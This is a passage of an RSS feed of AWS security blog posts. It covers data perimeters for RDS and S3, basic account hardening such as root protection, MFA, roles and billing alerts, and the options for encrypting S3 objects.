resources.</li><li>Logical access control (local). Some resources (eg: Windows file servers) support their local access policies which can override domain policies. In general, if they’re not explicitly configured, they default to allowing all access.</li></ol><p><strong>AWS RDS Data Perimeter</strong></p><figure><img alt="AWS RDS Data Perimeter" src="https://cdn-images-1.medium.com/max/721/1*oerk6RCTV1KC27YEs-i8xQ.png" /></figure><p>In this example, we are looking at an AWS RDS instance. RDS is database instance (MySQL, PostgreSQL, MS-SQL, etc) running on an AWS-managed node. Because it is still a traditional database, it has some similarities to a traditional data perimeter, but is much more complicated.</p><ol><li>Organization-level controls. AWS Organizations provide access controls in the form of Service Control Policies. These policies can block access to APIs and prevent access to a data resource.</li><li>Identity and Access Management (IAM). At the account-level, access to APIs and resources is determined (in part) by policies attached to a user identity. IAM both authenticates and authorizes identities.</li><li>Non-local network access. In AWS, network access to a resource requires VPN, VPC Peering, Transit Gateway, or a public IP. As a group, these components are network ingress/egress points.</li><li>VPC NACL. A VPC includes a Network Access Control List (NACL), which specifies what traffic is allowed or blocked.</li><li>Security Group. These function as a resource-level firewall and must be configured to allow the necessary traffic.</li><li>RDS access control. Within the RDS instance, logical access control must be configured in the form of users and permissions.</li></ol><p><strong>AWS S3 Data Perimeter</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*vRpVUbCpGHCoj5oYHGwgfA.png" /></figure><p>In this example, we have the fully-managed service S3. The configuration points for the data perimeter are far fewer and there is no configuration for network access.</p><ol><li>Service Control Policy. As with RDS, SCPs can block all access to API calls. For S3, this can result in the service being unavailable.</li><li>IAM. This provides the same type of access control as with RDS.</li><li>S3 Bucket Policy. This is a resource-level policy and can block any access provided via IAM.</li></ol><h3>Putting it all together</h3><p>Securing data workloads requires an understanding of how access is provided to the data. For workloads in the cloud, it’s no longer as simple as ensuring that network is accessible and that a user is a member of the right Active Directory group.</p><p>When data is residing on a network-based location (eg: RDS, Elasticache, Redshift), ensure you have checked:</p><ol><li>VPC NACLs</li><li>Security Groups</li><li>VPC Peering/Transit Gateway/VPN</li><li>IAM (both Redshift and RDS can have database engine access provided by IAM)</li><li>Permissions Boundaries</li><li>Organization SCPs</li><li>Local engine permissions</li></ol><p>When the data is residing in a non-network aware location (eg: S3, DynamoDB), verify:</p><ol><li>IAM</li><li>Permissions Boundaries</li><li>Organization SCPs</li><li>Resource policies (eg: S3 Bucket Policies)</li></ol><p><strong>Takeaways</strong></p><ol><li>There is no single data perimeter. Every data resource has its own data perimeter that must be managed.</li><li>When providing access to data from outside the organization (eg: granting another AWS access to an S3 bucket), the data perimeter for that resource as expanded beyond your control.</li><li>Derived perimeters are especially complicated. Understanding how a given service proxies access to data for your users is critical in ensuring least privilege and proper access control.</li><li>Data perimeters in AWS are <strong>not</strong> the same thing as network perimeters or nodes. For many data sources, the network perimeter is entirely unrelated to the data perimeter. Security professionals can no longer rely on strict network controls to ensure confidentiality of their data.</li><li>Data perimeters in cloud environments are best managed as code. Because of the complexity and sprawl in cloud environments, manually maintaining perimeters will eventually lead to unintended data exposure. Defining and managing perimeters in code enables standard software review practices to prevent exposure.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=98778417e4a4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[5 ways to immediately secure your AWS account]]></title>
            <link>https://medium.com/@jeffmaley/5-ways-to-immediately-secure-your-aws-account-bc8457011cf?source=rss-d93125498910------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc8457011cf</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <dc:creator><![CDATA[Jeff Maley]]></dc:creator>
            <pubDate>Mon, 21 Feb 2022 18:13:35 GMT</pubDate>
            <atom:updated>2022-02-21T18:13:35.044Z</atom:updated>
            <content:encoded><![CDATA[<p>The popularity and flexibility of AWS makes it an appealing target for malicious actors. Here are 5 ways that you can quickly lock your account down and prevent an account take-over.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rAov3hwFYF_kbJRKZ9X15w.jpeg" /></figure><h3>Protect the Root User</h3><p>The root user is the email address and password you used to setup your AWS account. This root user has access to every aspect of the AWS account, including billing and support. A common means of taking over an account involves getting these credentials and then changing the email addresses associated with the account, preventing you from being able to recover it. To secure this user:</p><ul><li>Set a complex password</li><li>Disable any access keys</li><li>Setup MFA (virtual or hardware)</li></ul><h3>Don’t Use Users</h3><p>Access in AWS can be granted via long-term credentials (IAM Users) or short-term credentials (IAM Roles). The longer a set of credentials remains enabled, the greater the possibility of them being compromised, so short-term credentials provide better security. Exclusively using roles requires an external identity provider. It is easy to configure AWS to accept external identity providers, including <a href="https://aws.amazon.com/blogs/security/how-to-use-g-suite-as-external-identity-provider-aws-sso/">GSuite</a>.</p><h3>More than One Factor</h3><p>Passwords are easily leaked and easily guessed. To properly secure an AWS account (or any resource, really), using Multi-Factor Authentication is critical. For AWS, this involves setting up an MFA device for the root user and any other IAM users that get created. Both virtual and hardware MFAs are supported.</p><h3>Be Cost Conscious</h3><p>A frequent pattern today is an AWS account taken over to run crypto-mining software, which often results in surprise bills of thousands of dollars. As an early-warning system, setting up a billing alerts are helpful. For my personal accounts, I know what my expected monthly spend is so I’ve setup billing alerts to let me know when I’ve spent 50% of the expected. If that alert comes in on the 2nd of the month, I know something is very wrong.</p><h3>Don’t Use Root</h3><p>Once the account is setup, there’s very little reason to ever use the root user. With that in mind, you want to know whenever the root user *does* get used. This <a href="https://aws.amazon.com/blogs/security/how-to-receive-notifications-when-your-aws-accounts-root-access-keys-are-used/">AWS blog post</a> walks you through the process of setting up an alert for root user access. If you set this up and see an alert come through that wasn’t you, you know something is very wrong.</p><h3>Putting it All Together</h3><ul><li>Take extra care to protect the root account</li><li>Use MFA and complex passwords everywhere</li><li>Use Roles instead of Users</li><li>Setup billing alerts</li><li>Don’t use the root account</li></ul><p>These steps are relevant for all types of AWS accounts, from large enterprise environments to small, personal accounts. The latter is often compromised because it gets forgotten, so taking the extra step in protecting it can prevent fraudulent usage and massive bills from AWS.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc8457011cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Four Ways to Encrypt your S3 Objects for Better Data Security]]></title>
            <link>https://medium.com/@jeffmaley/four-ways-to-encrypt-your-s3-objects-for-better-data-security-b54e60c188fc?source=rss-d93125498910------2</link>
            <guid isPermaLink="false">https://medium.com/p/b54e60c188fc</guid>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[s3]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <dc:creator><![CDATA[Jeff Maley]]></dc:creator>
            <pubDate>Mon, 31 Jan 2022 17:05:58 GMT</pubDate>
            <atom:updated>2022-01-31T17:05:58.625Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bPyXuxSCTRESrFo4QDxC0g.jpeg" /></figure><p>Data is an organization’s second most valuable asset and keeping it confidential is a priority. S3 has several ways to apply encryption. Depending on an organization’s security posture, some methods might be more appropriate than others. As a note, data encryption in S3 uses envelope encryption¹.</p><h3>The Default</h3><p>AWS provides a default encryption key (AES-256) for S3 for each region in an account. While it provides robust encryption, this key is not manageable by the customer. If a user has read (s3:GetObject) access to the object, it will be automatically decrypted before download. Key rotation is entirely transparent, managed by AWS, and occurs every three years.</p><h3>KMS and CMKs</h3><p>Using encryption keys stored in KMS allows for administrative and technical controls to be added to the encryption process. These keys have discrete permissions that can assigned, which allows the customer to be granular in who can use the key and for what purpose. These permissions are separate from S3 permissions and provide a second layer of defense. If automatic key rotation is enabled, AWS generates new cryptographic material every year. The key ID stays the same, so it is transparent to the customer.</p><p>When creating KMS CMKs (Customer Managed Keys), it is possible to import your own key material. If your organization already has a robust key-management infrastructure, you may wish to leverage it to generate key material. This might be necessary in cases where an organization has entropy requirements for key generation. When using your own key material, you are entirely responsible for protecting it and keeping it available. If the key is lost, the data is unrecoverable. Automatic key rotation is not possible, but manual key rotation is. Manual key rotation involves creating a new key using new material (with a new key ID) and requires updates to any applications that need to use the new key.</p><p>For organizations that require absolute control over their key generation process, but lack an existing key-management infrastructure, CloudHSM is an option. CloudHSM is a hardware security module that resides in an AWS datacenter and can manage private keys. When using CloudHSM, all cryptographic operations occur in the CloudHSM, but the management of these operations and keys is through the KMS API. This allows a customer to have total control over their private keys, but still have the ease of use of AWS KMS. A CloudHSM device is dedicated to a given customer and AWS cannot access the keys.</p><h3>Server-Side with Your Own Key</h3><p>In this model, you own and manage the encryption keys and supply them to S3 during the object storage and retrieval process. You upload the unencrypted object and key and AWS S3 encrypts the object then removes the key from memory. When you want to retrieve the object, you present the same key and AWS S3 decrypts the object and returns it to you. This allows the customer to own the key and key-management infrastructure, but still offload the encryption/decryption workload to AWS.</p><h3>Client-Side With KMS or Your Own Key</h3><p>Instead of using server-side encryption, you can also encrypt your data before storing it in S3. You can use KMS and the AWS Encryption SDK or you can use your own keys and PKI. In either case, your application encrypts the data before storing it in S3 and decrypts it after retrieval before processing it. This allows much greater control over the encryption process and materials, but leaves the customer entirely responsible for managing the key and infrastructure.</p><h3>Choosing the Right Encryption Process</h3><p>With all of the available options, picking the right one can seem daunting. While there is no “best” option, there are options that are more suitable given an organization’s security posture.</p><ul><li>For most customers, using KMS with Customer-managed keys is the right choice. AWS KMS is <a href="https://csrc.nist.gov/projects/cryptographic-module-validation-program/Certificate/3139">FIPS 140–2 Level 2 validated</a>, making it a good choice for customers with strict compliance requirements (eg: FedRAMP). KMS offers a robust API and can automatically rotate master keys, minimizing the risk of key exposure.</li><li>When there are more strict requirements, CloudHSM is a good option. CloudHSM is FIPS 140–2 Level 3 validated and each device is dedicated to a specific customer. This extra security comes at a cost, as each device is ~$1200USD per month and the advised minimum is 2 devices per active region.</li><li>If an existing key-management infrastructure is already in place, using your own keys via KMS with imported key material, client-side encryption, or S3 server-side encryption with customer-supplied keys would be a viable option. This should be carefully considered, as the customer is entirely responsible for the key and if it’s lost, the data will be unrecoverable.</li><li>Using AWS-managed keys provides the most basic level of security. Given the lack of control over key usage, this protects the customer from the S3 disk infrastructure being physically accessed by a malicious actor, but not much else. This is a good choice if the goal is simply checking the box on the a compliance checklist.</li></ul><p>[1]: Envelope encryption — In this encryption model, each data object is encrypted by a data encryption key. This data encryption key is then encrypted by a master key and stored with the data. The master key is periodically rotated with the old keys retained for decryption (the data keys are not rotated). This allows for minimized exposure in the event of a leaked key.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b54e60c188fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>